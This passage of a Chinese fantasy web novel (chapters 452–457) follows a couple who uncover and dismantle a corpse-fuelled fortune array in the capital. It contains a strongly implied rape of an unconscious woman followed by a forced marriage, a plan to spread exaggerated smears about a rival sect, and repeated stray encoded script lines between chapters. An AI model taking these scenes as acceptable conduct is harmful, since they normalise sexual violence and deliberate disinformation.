一边喝着茶,裴子墨也把刚才老和尚的话跟白锦夜说了一遍。 听到可能是因为裴子衿改国运导致可能会发生的一系列灾难,白锦夜的脸色当时就变了。 此事毕竟是因他而起,若真是会导致这样的结果,那他难辞其咎。 “其实这样的事,对遁世岛来说,也不算什么。”裴子墨看着他,“本来外面的这些人命,对遁世岛来说,就不值一提。不过……这件事是裴子衿做的,不管她因为什么,都会算到遁世岛的头上,闹出这么大的烂摊子,估摸着遁世岛的人也会很头疼。” “他们这些年来,都在避免在外面闹出太大的乱子,这一次可不好说了,所以他们有可能会出来帮忙修正。” 白锦夜恢复记忆后,便也知道裴子衿的性子,她从小就没有被当做重点的儿女来培养,所以对遁世岛的事情知道的并不多,可却也因为是岛主的女儿,从小修习术法的事情就也都没有落下。 一个人最可怕的,就是拥有了与心智不相匹配的能力。 她根本不会去想自己做的事情会给其他人带来什么样的后果。 裴子衿从小便是这样,这世上所有的事情于她来说,都是理所应当。 白锦夜的手微微握成拳头,没有说话。 裴子墨知道他着急,也就放下茶杯,转头见寒羽吃的七七八八了,便叫小二又给寒羽打包了些点心,就赶紧继续上路了。 这一路上再都没怎么休息,用最快的速度赶回了盛京。 白锦夜走进城门的时候,也有点唏嘘,本来还以为上次会被带去遁世岛就不可能再回来了,甚至很多事情都交代完了,没想到这还不到的一年的时间,又重新走进了盛京。 回到王府简单地修整了下,他便带着裴子墨进了宫。 听说白锦夜和裴子墨进宫,白风御当即扔下正在议事的大臣,跑过来见他们两个。 白风御红光满面,一看就是有不少喜事,也不等白锦夜询问,他就自己讲了起来。 说是不久之前,西夜国又试图来犯,但是战事刚起,统帅就突发疾病暴毙,而且天降雷火,直接烧了西夜国大军的粮草,这中间又有些其他的小事,总之西夜国那边是一团糟,他们简直就是白捡了个胜仗,西夜国赔了不少银子。 随后在沿海一代,出来一个小国,说是这个小国以前从不与外界沟通,他们第一次与外界沟通,就是意外到了天风国,随后便派了使臣前来访问。 这小国国虽不大,但似乎遍地黄金,他们送来的见面礼,比西夜国赔的银子还多,并且还说他们那里有许多特产,以后想要和天风国互通有无,开启两国贸易。 对于天风国来说,这简直就是送上门的钱,因为那小国粮食一类的物资匮乏,他们愿意用极高的价格买入粮食,但是他们的许多特产他们都认为并不值钱,所以出价很低。 听着白风御滔滔不绝地讲着最近这一桩桩的好事,裴子墨和白锦夜却一点喜意都没有,甚至越听眉头皱得越紧。 裴子墨之前就已经算过天风国的国运,当时便已经是衰微的状态,她把白风御的气运转正,也不过就是勉强地延长了下天风国的寿命,将来即便发生什么朝代更迭的事,也能平稳过渡,不至于伤亡太重。 而且这也不算是改了天风国的国运,而是只要白风御的气运转正,就能影响整个局势而不会带来什么负面影响。 但即便是白风御成了皇上,他就算再励精图治,也很难改变天风国下降的国运,毕竟从几代之前开始这天风国的国君便都不太算是明君了,从根上就已经开始烂了,白风御只是让这下降的趋势不至于断崖式的下跌,让百姓不至于过得太苦。 所以按理说天风国已经不可能再有这样送上门的好事了。 除非……有些事情已经被改变,甚至开始走上极端。 盛极必衰,这也是亘古不变的道理。 再这么下去,说不定本来还有的三十年的国运,这么一折腾,也就剩下几年了。 白风御说着说着自己也停了下来,本来这些都是喜事,无论是谁听说起码都得笑一笑吧?可看着裴子墨和白锦夜的脸色,想着若是无事他们应该也不会突然回来,他开始隐隐的觉得这好像不是什么好事,顿了顿,他便开口问道,“这……这些事是有什么问题么?” 白锦夜叹了口气,一时也不知道该怎么解释。 裴子墨垂下眼,想了会才道,“之前遁世岛的那批人来,应该是做了些手脚。我可以这样打个比方,比如你这一生要活六十岁,每年只能赚一两银子,你究其一生,也只能赚六十两银子,但是有人在你三十岁这一年,给了你三十两银子,那你以后会怎么样?” “我提前预支了我后面三十年的三十两银子,后面我就什么都没有了。”白风御开口道。 “但眼前的事情没有这么简单,眼前的事情可以说,是有人在你三十岁的时候,给了你三百两银子。”裴子墨继续道。 “那会怎么样?”白风御皱起眉头。 “承受不住的东西,可能急需要用寿命来填了。”裴子墨叹了口气低声道。 白风御的脸色也难看起来,隔了半响才道,“你的意思,是遁世岛的人做了什么,让天风国现在看起来,可能是虚假繁荣,但是这些都是假象,甚至……代价可能是天风国的江山?” 裴子墨点点头。 白风御的手握成拳头,“怪不得西夜国的统帅会突然暴毙……也就是说,他可能并不该死,甚至要和天风国大战一场,战事的结局也未可知,只是有人的安排,让西夜国连番出事,才让我们捡了个便宜。” 他拧眉看向裴子墨,“但是战利品我都已经收了,那我如今该如何做?” “我也得好好想想。”裴子墨抿了抿唇,“借运容易,但是想要还回去,把一切恢复到正轨上,就难了。已经发生的事情改变不了,我也只能尽力而为了。” “那可怎么办?那通商这件事还要不要继续?”白风御问道,“国书都已经下了,这会总不能出尔反尔吧?” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第453章 你的记忆到底恢复了多少? “已经发生的事情,你也没必要刻意避免。”裴子墨开口道,“而且你知道是发生了这些,可能还有更多的发生的事情你都不知道。”她说着顿了顿,“我出去转转。” 白风御本想找个宫人给带路,可想着这么做也是多余,也就没说话,等着裴子墨离开之后,他才看向白锦夜,“八皇弟,那遁世岛的人,到底是怎么回事?上次你着人来给我传话,说你可能要出趟远门,之后遁世岛的人走了,你也就不见了,你可是跟着遁世岛的人一起走了?而且……”他说着打量了下白锦夜,“你好像和之前有点不一样了。” 白锦夜恢复记忆之后,今生发生的事,短短二十几年,在他整个人生里不过就是一瞬,很多习惯自然就被之前的习惯所代替,整个人肯定是和之前不一样了。 虽然他本身和白风御之间的交流也不算多,可白风御也是人精一样的人物,对此自然敏感。 白锦夜轻咳了一声,只是说,“我最近在跟着王妃修习了些术法,所以大概和以前有些不同。” “这样。”白风御点点头,沉默了下才继续道,“八皇弟,自古以来,登上这帝位的人便会追求长生,我倒是不追求这个,只是……若是天风国在我的手上没了,那我可真是愧对列祖列宗,有些事王妃不说,但你也没有必要瞒我,有什么话该说就说吧。” * 裴子墨在外面转了一圈回来,便见到一个太监捧着一道圣旨急匆匆的出了门,她眉心一跳,一抹不太好的预感涌上心头,于是立刻走上前去拦住了那太监,抬手在太监的脸上抹了一下,那太监到了嘴边的话都没问出来,就整个愣住了。 她把圣旨接了过来,展开一目十行地看了一遍,眉心皱得更紧,圣旨也没有放回去,抬手在太监的脑门上点了一下,便迈步往回走。 那太监半响才回过神来,抬手看着自己空荡荡的双手,又挠了挠头,对刚才发生的事情已经完全没有印象了。他四下看了看,也没有其他人,便赶紧走开了。 裴子墨回到白锦夜和白风御所在的大堂,把圣旨扔回到白风御的手边。 “这是……”白风御不太明白她的意思。 裴子墨也没有理他,只是看向白锦夜,“有些事情,你告诉他并不是好事。” 这圣旨里面所说的,正是囤粮的事情,又说这几年只要愿意去医署里学习医术的,不止不收钱,还每个月发月银,更是要求各大医署药铺囤药。 白锦夜轻轻皱眉,“防患于未然并不是坏事。” “确实不是坏事,但是你这一道圣旨下去,百姓们不知所以,也会跟着茫然的囤粮囤药,就会有人趁机哄抬物价,更有会有跑到西夜国或者东凉国去收粮收药卖到天风国,那若真是发生了什么事,西夜国和东凉国怎么办?”裴子墨眉心蹙得更紧,“每年粮食的产量都是有数的,这样一来,最终受苦的还是百姓。” 白风御张了张嘴,他本来想说他能顾及的,就是天风国的子民,他若是有余力,那也可以多管管其他人,可若是到了危急关头,自然是以天风国的子民为主。 只是还不等他说话,裴子墨就转头看过来,“到时候粮食和药材都在天风国,西夜国和东凉国的百姓若是饿急了,天风国还会有个安生么?就算是他们的军队不来,百姓从边境上大批涌入,你又该怎么办?他们到了天风国,偷抢粮食药材甚至伤人杀人又该怎么办?” “是我欠考虑了。”白风御怔了一下,只得开口道。 “若是这件事不能从根上解决,任何的措施,都可能会适得其反。”裴子墨叹了口气,在椅子上坐下来,“我会想办法。” 白风御闭上了嘴没有说话,隔了会才道,“我想起还有大臣在等我议事,我先过去一趟,稍后再回来,你们放心,这事我也不会跟任何人说的。” 等他走了,裴子墨才对着白锦夜继续道,“你既然已经恢复了记忆,便不能只把自己当做是天风国的王爷了。” “是。”白锦夜点点头,“是我的错,你不要生气。” 裴子墨轻轻叹了一口气,“我不是生气,我只是觉得……你应该承担更多的东西。” 白锦夜看着她,半响才道,“其实想一想,之前只做天风国王爷的日子未免不好。若是有一天,我们的事情办成了,我们是不是可以……” “到时候再说吧。”裴子墨打断他的话,转头看向外面。 白锦夜站起来,走到裴子墨的面前停下,抬手拉住她的手,“不是说了不生气?嗯?我以后做事会三思的。” “你若只是凌锦夜,你根本不会把这些事告诉白风御,你若只是白锦夜,这件事你也会有其他的处理办法。但是你现在……像是有点拿不清楚自己的定位了。”裴子墨皱起眉头,“你这一世时间虽然不长,可也许是因为这一世的亲人都还在世,所以对你的影响会很大。我也可以理解,我只是希望你能清醒一些,这样将来才不会被人以什么为把柄来要挟。” 说完这句,裴子墨的眉头皱得更紧,“本来这些话也不需要我再跟你说的……” “好了好了。”白锦夜捏了捏她的手,“我以后会多注意的。”说完便立刻转移话题,“你出去转了一圈,有什么发现么?” 裴子墨收回目光,抬眼看向白锦夜,却见他的目光像是微微有些躲闪,她眯眼盯着他,半响才问到,“白锦夜,你的记忆到底恢复了多少?” “怎么突然问这个?”白锦夜放开手,在旁边的椅子上坐下,又端起茶杯抿了一口。 “你是只恢复了一点点记忆,还是其他的什么情况?”裴子墨站起身,往前走了一步,白锦夜能做出这样的事情,除非是他的记忆并没有完全恢复,导致自身的定位会模糊,做出和本身性格不符的事情,就不算意外了。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第454章 尸臭 白锦夜轻咳了一声,把茶杯在手里转了转。 裴子墨这下脸色更难看了,“白锦夜,你现在跟我还不说实话?” “我确实是想起来一部分事情。”白锦夜抬起手,虚握成拳,放在嘴边,轻咳了一声。 “哪部分?”裴子墨继续问。 “断断续续的。”白锦夜抬眼看向裴子墨,“一开始想起来一部分,可是后来不知道为什么,就再也想不起来了。” 裴子墨垂下眼,盘算了会,隔了很久才道,“凌珞之前的魂魄曾在你身上温养,也是不久之前才回到自己的身体里,也就是说,他在你身体里的时候,你可能想起来一些事,他离开之后,你就没再想起了。” 她说着在房间里转了几圈,顿了顿,“那封印是我打在你魂魄上的,你想不起来很正常,但是凌珞的魂魄没有封印,也许是因为如此,所以他在你身上的时候,你才能想起来一些事。这样说来,就是封印还没破……” 白锦夜轻轻抿了抿唇,“子墨……” “没事。”裴子墨停下脚步看他,“不见得是坏事。” 白锦夜沉默了一会,见她也没再往下说,只好转移话题,“你出去都发现什么了?” “有紫气,紫气中带着一丝黑气。”裴子墨叹了口气,抬手揉了揉眉心,“裴子衿他们当时来的时候住在哪?想要改国运,没那么简单,肯定要设坛设阵法,她如果没去过别的什么地方,估计就是在住的地方。” “我带你去。”白锦夜站起来,带着裴子墨往外面走。 * 听宫人来报说白锦夜和裴子墨出宫了,白风御才又重重地叹了口气。 “肃亲王不回来你总是念叨他,他这一回来你怎么还愁眉苦脸的?”皇后一边喝茶一边问道。 白风御根本没有再去跟大臣议事,他只是有眼力见,觉得白锦夜和裴子墨要吵架了,他就赶紧找了借口躲出来,“八皇弟是被王妃吃的死死的了。” “听起来你对此有意见?”皇后开口问道。 “倒也不是……”白风御说着顿了顿,“这次不知道他们打算在京里留多久,你倒是可以跟王妃多走动走动。” 皇后点点头,又笑着问道,“你不怕我把裴子衿的事情跟她说?” “王妃神通广大,未必不知道。”白风御说到这,脸色又难看起来,她再神通广大,能解救世人于水火之中么?能让这天风国的江山传下去么? 皇后见着白风御的表情,便知道这次白锦夜回来,大概是带回了不太好的消息,只是以白风御的性格,他不主动说起的事情,就算她问出口,他也还是不会说,不如便等哪天约着肃亲王妃进了宫,好好聊个天,探探是怎么回事吧。 * 裴子墨和白锦夜到了驿站,这盛京城中的驿站很大,驿站内的规格也不相同。 当时给裴子轩他们安排的规格不低不高,所以不在驿馆的中间位置。 白锦夜向驿馆的官员打听了过之后,正要带着裴子墨往当时他们的住所走,却见裴子墨没有跟上来,她抬手指了指正前方,“哪里是什么地方?” 官员赶紧上前几步,“按照天风国的律例,要是和天风国极为要好的国家来访,才会住在那里,只不过……”他说着小心翼翼地看了白锦夜一眼,没再往下说。 白锦夜也就把后半句给说了出来,“只不过这些年,和天风国极为要好的国家也没有,哪里恐怕至少有几十年没有使者住过了。” “按时打扫么?”裴子墨又问。 官员低着头,如实答道,“那里不用的时候,都是做封馆处理的,只有大修检修的时候,才会开馆检修,又或者是有使者来之前,才会彻底清理。” 白锦夜也点点头,“那里建制规格比较高,每次用过之后,里面的器具都会移回库房封存,里面基本上就是空房子,等下次有使臣来的时候,会整体重新摆设一遍,一般情况下都会根据对方的习俗,重新装潢,以表对友好国家的敬意。” “能去看看么?”裴子墨开口问道。 “这……恐怕不妥。”官员脸色犯难,“要有皇上的圣旨,才能开馆。”他说着看了看白锦夜,又道,“哪怕皇上的口谕也成。” 这是他们的规矩,当然不敢擅自更改,不然后果他们也承担不起。 “那就先去看看别的地方吧。”白锦夜说着对裴子墨使了个眼色,裴子墨也就没说话。 官员带着他们两个人往之前裴子轩他们住过的院子走,没走几步,一转头,就发现裴子墨不见了。 他苦笑地看着白锦夜,“王爷,您和王妃就别为难下官了,这搞不好是要掉脑袋的事。” “确实。”白锦夜点点头,“若是那里真的有什么异常,那可真就是掉脑袋的大事了。” 官员一愣,“王爷,你的意思……” 白锦夜没说话,继续往前走。 官员也只好硬着头皮跟上去。 白锦夜也隐约的看出来,问题出在主馆上,裴子墨已经去了,他也就在驿馆里瞎转。 官员心不在焉,跟着白锦夜,却时不时地往主馆那边看,等他闻到一丝奇怪的味道的时候,还以为是自己的担心出了幻觉,他有些不确定地开口问道,“王爷,这空气里,是不是有一股臭味?” 白锦夜对他的问题给予了肯定的答案,“是尸臭。” “尸臭?”官员当即叫出了声,“驿馆怎么会有尸臭?”说完他又想到白锦夜刚才的话,也再顾不上这位王爷,转身快步就往主馆跑去。 已经过了这么久,还有这么浓郁的尸臭飘过来,裴子衿在这阵法上恐怕是真的下了血本,白锦夜皱起眉,迈步跟了过去。 等他走到主馆的时候,便见官员已经软了腿,趴在地上狂吐。 在主馆的大殿中间,十具尸体围坐成一圈,哪怕已经腐烂,可还是保持着之前的姿势。 裴子墨站在大殿上,无视了这熏天的臭味,正聚精会神地看着十具尸体中间围着的阵法。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第455章 叫魂 白锦夜走过去,强忍着这股臭味,拧眉看了半响,没有说话。 裴子墨这才转头看他,笑吟吟地道,“看出来这是什么了?” 白锦夜的神色有些尴尬,顿了会才缓缓地摇了摇头。 “所以你连屏蔽味道的术法也还不会?”裴子墨又问道。 白锦夜怔了下,这才想到什么,手上捏了几个印诀,这下闻不到这臭味了。 裴子墨收回目光,大概明白,白锦夜主要的记忆还是在这一世,他虽然想起了些片段,可是在做事上,还是不习惯用术法来解决,“要不要叫你那位皇兄来看看?”她说完对着旁边的官员挥了挥手。 官员立刻感到神清气爽,也不再呕吐了。 “还不快去通秉?”白锦夜转头看了一眼。 官员赶紧爬起来,往外面跑。 裴子墨绕着十具尸体走了两圈,从大殿里走了出来,又在外面转了会,白风御就急匆匆地赶到了。 官员已经把看到的画面,尽可能夸张地描述给了白风御,白风御也就没带什么人来,只是让御林军把整个驿馆全都包围了起来,不让任何人进入。 他本身毕竟也是上过战场的人,走到大殿门口,虽然脸色发白,不过还是强忍着没有吐出来。 他又赶紧从大殿退出来,转头走向白锦夜,只是还不等问出口,就见白锦夜对他摇了摇头,于是他只能转了方向,朝裴子墨走过去。 裴子墨正看着院子里的一根石柱,听到白风御走过来,也没等他问,便直接道,“这是一个借势的阵法,专门设在驿馆之中,目的就是为了借邦国的势,只不过这阵法估计求了速成,所以有些恶毒了。” 白风御听裴子墨这么说,心里微微有了底,她既然知道怎么回事,应该也就有破解的办法。 “只不过,盛京城里,在某一段时间内,集中失踪十个人,没人报官么?”裴子墨又问。 白风御自然不会关注这些事,就算有人报失踪,也不会传到他耳边来,于是便着人去询问京兆尹沈致远。 沈致远来的时候,把近一年失踪报案的卷宗全都带来了。 裴子墨接了过来查阅。 沈致远自从接过当初黄维贤家的案子之后,便知道这世上会出现一些奇奇怪怪的事情,所以看到这主馆大殿内的十具尸体,隐约觉得不是什么好事。 他扶了扶自己的乌纱帽,连吐都不敢吐出来。 这京兆尹本来就难做,盛京城内遍地都是大官,谁能压他一级,他战战兢兢地做了几年,按理明年就该调任了,哪知道眼下又出了这样的事情? “一年失踪的人这么多?”裴子墨挑了挑眉,开口随意到地问道。 沈致远赶紧开口解释,“这和每年相比,区别不大,有的其实是抛家舍业跑了,有的去野外没能回来,当然也不乏有人寻短见,找了个别人不知道的角落了结了自己,京兆府人手有限,有些失踪真的很难找到人。” “而且我们也不可能在一个失踪案上耽搁太久,基本上会有专人负责,组织亲友寻人,我们也大多都是定下一个两旬的期限,两旬若是还找不到人,就会把案件记录在案,但京兆府不会再派人手寻找了。” 他说着又小心翼翼地看了眼白风御,见他没说话,便又道,“着实是还有其他的案件要处理,按照以往的经验,要是二十天都还没找到的人,那即便再用更多的时间找到了,估计也不在人世了。况且若是夏天,二十天已经没法辨认样貌了,就算是在野外找到尸体,也只能隐约的靠衣着辨认。” “曾经就发生过衣着九成相似,可样貌和体貌特征都没办法辨认,家属又死活不愿意接受自己的亲人离世,尸体不认领,还天天跑到京兆府来闹……” 白风御摆了摆手,示意他不要再往下说了。 沈致远见他们也不像是在追究这件事的样子,脑袋里虽然还有疑虑,但也没有再开口说话。 裴子墨叫人拿来了一支笔,圈出了十个人,“去找这十个人的家属,让他们来认尸。” “啊?”沈致远不明白,怎么就看了几眼,就确定这十个人是谁了? “赶紧去。”白风御拧起眉,“你是耳朵出问题了?” 沈致远见白风御不耐烦了,就赶紧接过卷宗,跑去办事了。 裴子墨这才开口道,“这十个人的魂魄都镇压在阵法里,他们的尸体围着这阵法坐着,是因为认为自己还没有死。要么直接摧毁这十个魂魄,让他们魂飞魄散,要么让他们的家人来,等我一破开阵法,就用叫魂的方式,先把魂魄叫进身体里,随后化去怨气,再让他们离开,这样后续的影响也会小一些。” “那其他的呢?”白风御赶紧问,“这阵法形成的影响,该如何解除?” “已经形成的,肯定是没办法解除了。”裴子墨开口道,“以后不会形成更严重的后果就可以了,稍后我摆个阵法散散气,眼下气运已成,这都是治标不治本的法子,之后我再想办法吧。” 白风御听了这话,脸色又沉重了些,心里叹了口气,和白锦夜一起退到了旁边。 裴子墨在大殿前设置了一个阵法,在阵法前面拦了一根红线,又交待下来,“一会家属来了,让他们站在红线外面,叫人看好,不要让家属越过红线。” 白风御挥挥手,示意士兵照办。 裴子墨又走到白锦夜身边,“一会家属喊他们的名字,等人都到了这个阵法里面的时候,你就引出黄泉路,送他们的魂魄离开。” 白风御就站在一旁,自然听到了裴子墨的话,他有些诧异地看了白锦夜一眼,想要说什么,但是话到了嘴边,又咽了回去。 没过多久,便有家属陆续到了,来的人倒是不少,不过有一小部分刚进门就晕了过去。 那几人虽然尸体腐烂,可身上的衣着全都完好无损,就像是他们刚刚离开家的样子,这红绳到大殿内的距离也不算远,家属自然一眼就认出了自家人,哭喊声当即一片。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第456章 反噬 裴子墨也就闪身进了大殿中,捏了一道符纸扔进十人中间的阵里,一阵噼里啪啦的火花之后,中间有一块地面迅速地黑了下去,随即十具尸体全都向后倒在地上。 但是随着外面的哭喊声,尸体又从地上站起来,笨拙地往门外走。 本来家属们见到尸体,知道亲人去世,都很悲痛,哭着喊着。但是突然见到这画面,吓得一个个都噤若寒蝉,哭都忘了,有的甚至直接吓得尿了裤子。 白风御对着禁卫军的首领使了个眼色,那首领赶紧走过去,“继续喊,喊你们家人的名字,快喊。” 其他的禁卫军一开始也是吓呆了,但是皇上都还在,他们也不敢退缩,这会被首领一喊,也回过神来,赶紧让这些家属继续喊。 家属这一次喊的声音又小又弱,还有人低声向旁边的禁卫军问道,“这人都死了,你看腐烂的都快剩骨头,我们还喊什么?不会是让我们把他们喊回家吧?这是什么邪术么?” 禁卫军也不知道面前这是怎么回事,只是军令不可违,当即拔出了腰间的佩刀,“喊,不喊就砍了你!” 家属们虽然害怕,但是也只能继续喊名字。 只不过这一会远没有他们刚进来的时候声大了。 好在倒是也起了作用,这些尸体陆陆续续地走到了阵法中间。 裴子墨跟在后面,看着最后的那具尸体,走了一段就没再动了,目光便向家属那边瞄了过去。 禁卫军的首领问了下,又返回来在白风御耳边道,“这人就剩下一个老母亲,刚刚……吓晕了,叫不醒。” 裴子墨的目光也落在一个老妪的身上,轻轻叹了口气,抬手扔过去一张符纸,那老妪当场长舒了一口气,坐起来泪眼婆娑地看着这边,呼喊着自己儿子的名字。 听到这声音,这具尸体才继续往前走。 等到所有的尸体都到了阵法里面,裴子墨才对着白锦夜使了个眼色,白锦夜赶紧引出黄泉路,把十个魂魄带进地府。 没了魂魄的支撑,十具尸体当即倒在了地上。 沈致远识趣地往前走了几步,“各位,你们的亲人已经找到了,他们眼下是被奸人所害,你们可以先各自把尸体认领回去,我们一定抓到凶手,给你们一个交代。”随后又赶紧安排人把这些尸体各自送回去安葬。 这么大的尸臭味,肯定是不能送回各自的家了。 只能协商着送到城外,就算要做法事,也在城外一起做了。 裴子墨先是散了散这里的味道,随后在大堂内设下了一个阵法,忙完出来,白风御也还没有走。 她也就走过去,开口道,“我需要你帮我做一件事。” “你说。”白风御点点头。 “我想让你找人在外面帮我散播一些消息,就说查过之后,发现这些人是当初遁世岛的人来的时候杀了的,他们是靠吸食活人精气来修炼,他们之前发布的遁世岛任务,其实就是因为活了千年的人,对他们来说用处更大,他们根本不是什么来自海外仙岛,而是修习邪术,残害生灵。” “你可以说你当初就发现了这些人有异常,所以一直在派人暗中查访。你也可以再想想别的说辞,总之要把脏水添油加醋的泼到遁世岛的头上。” “本来就是他们搞出来的事情,不算到他们头上算给谁?”白风御此刻已经气得不行,真是越想越气,遁世岛的人来的时候,他也没有怠慢,结果他们搞出这种事来给他添堵。 “添油加醋。”裴子墨重复了一边这四个字。 “放心吧。”白风御说着顿了顿,“还有别的事么?” 裴子墨摇了摇头。 “那我先回宫了。”白风御说着看向白锦夜,“若是忙完了,再来宫里坐坐,咱俩喝两杯。” 白锦夜应了一声,也没多说话。 等人都走了,白锦夜才走到裴子墨的身边,低声道,“那些魂魄从黄泉路进地府的时候,我好像感受到了一些事情。” “什么?”裴子墨抬眼看他。 “他们……生前的一些片段,还有他们死前的画面。”白锦夜说着皱起眉头,“以前从不会这样,而且之前凌霄给我的那本书上,也没有提过这种事。” “术法修成,每个人达到的水准本来就不一样,可能是你有什么机缘。”裴子墨说着顿了顿,“等有机会再找几个魂魄看看,是偶然还是必然。” 白锦夜点点头,“那现在还有别的事要做么?” “还有点事,你守在门外,别让任何人打扰我。”裴子墨说完又进了大殿关上门。 她转身看着眼前这空荡荡的大殿,轻轻眯了眯眼,她在这阵法上感受到了裴子衿的气息,也就是说,裴子衿为了让这个阵法快速的起作用,即便是被人发现了尸体,破坏了阵法,也不影响她想要的效果,所以用了自己的血做引。 既然裴子衿这么大方,那她当然就不客气了。 * 裴子衿和裴子轩回到遁世岛之后,裴子轩被关了紧闭,她虽然没做成什么事,但是因为众人对她的期望也不高,自然也不会对她做什么惩罚的措施,她倒是也没受到任何的限制。 这几天便更是没事往凌家跑一跑,问问凌霄回来没有。 她算了一卦,凌霄应该就在最近会回遁世岛了,只不过具体的时间,她算不出来,所以就只能多来问问。 凌家也就只有凌家的二儿子凌锦枫在,她询问了几句,凌锦枫唯唯诺诺的连抬头看她都不敢。 她也不愿看着凌锦枫的这副模样,站起来就要走,可是却突然一口鲜血喷出来,整个人软软地倒在了地上。 凌锦枫往前走了几步,弯腰看着裴子衿,叫了她几声,都不见她有什么反应,就蹲下来检查了一下,“被反噬了。” 他低声说了一句,见裴子衿没有醒过来的迹象,目光便大胆地在裴子衿的脸上流连。 又伸出手,指尖才刚刚碰到裴子衿的脸颊就迅速地收了回来。 他握着自己碰过裴子衿的指尖,像是做了极大的开心的事情,忍不住笑出了声。 半响后,他终于做出了什么决定,抱起裴子衿往卧房走去。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第457章 今天是个好日子 裴子衿惊醒的时候,便见到自己一个人躺在床上。 因为受阵法反噬,她整个人虚弱得很,但是以前她修习的时候,也有过这样的情况,只不过那时候被反噬,一是练习会比较轻,反噬得没有这么严重,另外……她感觉到身上还有一些不属于被反噬的疼。 只不过这会整个人反应都很迟钝,她先是想到应该是盛京的那处阵法被破了,因为这些年她都已经没有再设置过阵法了,最近设置的阵法,就是盛京的那处。 那处她当时比较着急,也知道早晚会被人发现,本来想着就算被发现了也应该不会有人能破得了阵法,如今既然被破了,那应该就是裴子墨了。 裴子衿眯了眯眼,就算阵法被破,她也不会被反噬得这么严重,除非裴子墨又在阵法上做了什么手脚。 该死的裴子墨! 裴子衿手握成拳头,用力地捶了一下床,后知后觉地发现自己的衣服并没有穿在身上。 她震惊地掀开被子,这才明白身上另外一种疼痛感的来源! 在脑袋里一片空白之后,裴子衿赶紧捡起自己散乱在地上的衣服,胡乱的穿上,就打算趁没人看见的时候赶紧离开。 哪知道刚一推开门,就看见门外的堂上坐着几个人。 除了她爹以外,还有几个长老,凌锦枫正低头站在堂上。 她下意识地拽紧了自己的领口,站在门口,进退不是。 凌锦枫瞟了一眼房间的方向,当即跪在地上,“岛主,真的跟我没关系,是二小姐她……她……”他吱唔着声音又放得很低,“是她说我和凌锦夜长得像,又一直叫我锦夜,我知道她是认错人了,可我的术法不如她,根本没办法反抗。” “但是……但是事情既然发生了,如果岛主和二小姐不嫌弃,我愿意负责,让我怎么样都行。” “你胡说!”裴子衿尖叫一声冲过去,“爹,我没有,不是我!我刚才被阵法反噬晕了过去,是他,是他乘人之危!爹你要替我做主啊!” “咳。”还不等任何人说话,大长老就咳了一声,目光在裴子衿的身上扫了一圈,“既然事情已经发生了,那就等老六回来,把你们的婚事定下来吧。” “不。”裴子衿摇着头,“大长老,我不要嫁给他,我……我和锦夜有婚约在身,我怎么能嫁给别人?” “这婚约已经过去了那么多年,况且凌锦夜也不见得能再回遁世岛了,你又何必执着于此?锦枫也不错,日子慢慢过下来就好了。”大长老抬手制止了裴子衿的话,又转头看向裴松,“岛主,你觉得呢?” 裴松看着裴子衿叹了口气,“她和凌锦夜的婚事拖了这么多年,也不是回事,如今这也算是天赐良缘,就等六长老回来挑个良辰吉日吧。” 大长老满意地点点头,这下连裴子衿看都不看一眼了,站起了身,“老六还不知道什么时候回来,这段时间,你们两个也可以先培养一下感情。” “不,我不嫁。”裴子衿一下子跪在地上,“爹,我不嫁,你不是说过不会逼我、让我等锦夜的么?我不要嫁给别人,我不要!我更不要嫁给凌锦枫!他真的是乘人之危,他就是个人渣,我不要嫁给他!如果你们一定要逼我嫁给他,我就死给你们看!” “混账!”裴松站起来,“来人,把二小姐看起来,婚礼之前让她都不要到处乱跑!” 裴松的话落下,就有一个人气喘吁吁的跑了进来,“岛主,各位长老,二长老和六长老回来了。” “还真是不禁念叨,刚提到老六,老六这就回来了。”大长老笑着看向裴松,“正好今天就把事情定下来吧,免得节外生枝。” 还不等裴松搭话,报信的人继续道,“但……九长老没回来。” “哦?”大长老挑了下眉,只是以为九长老还在外面办事,便摆了摆手道,“也不碍事,先把事情定下来,既然是喜事,等老九回来再办婚礼就是。” 报信的人低着头,卡在嘴里的话也不知道该怎么说。 好在二长老和凌霄随后就到了,他也就没再往下说,他真怕自己把这话说出来,大长老盛怒之下,一掌拍飞他,他这小命就没有了。 “老六你们回来的正好,我们正在……” “大哥,老九……死了。”大长老的话还没说完,二长老就打断了他的话。 大长老的笑容僵在嘴角,根本不相信自己的耳朵听到了什么,便继续道,“今天是个好日子,说什么胡话?” 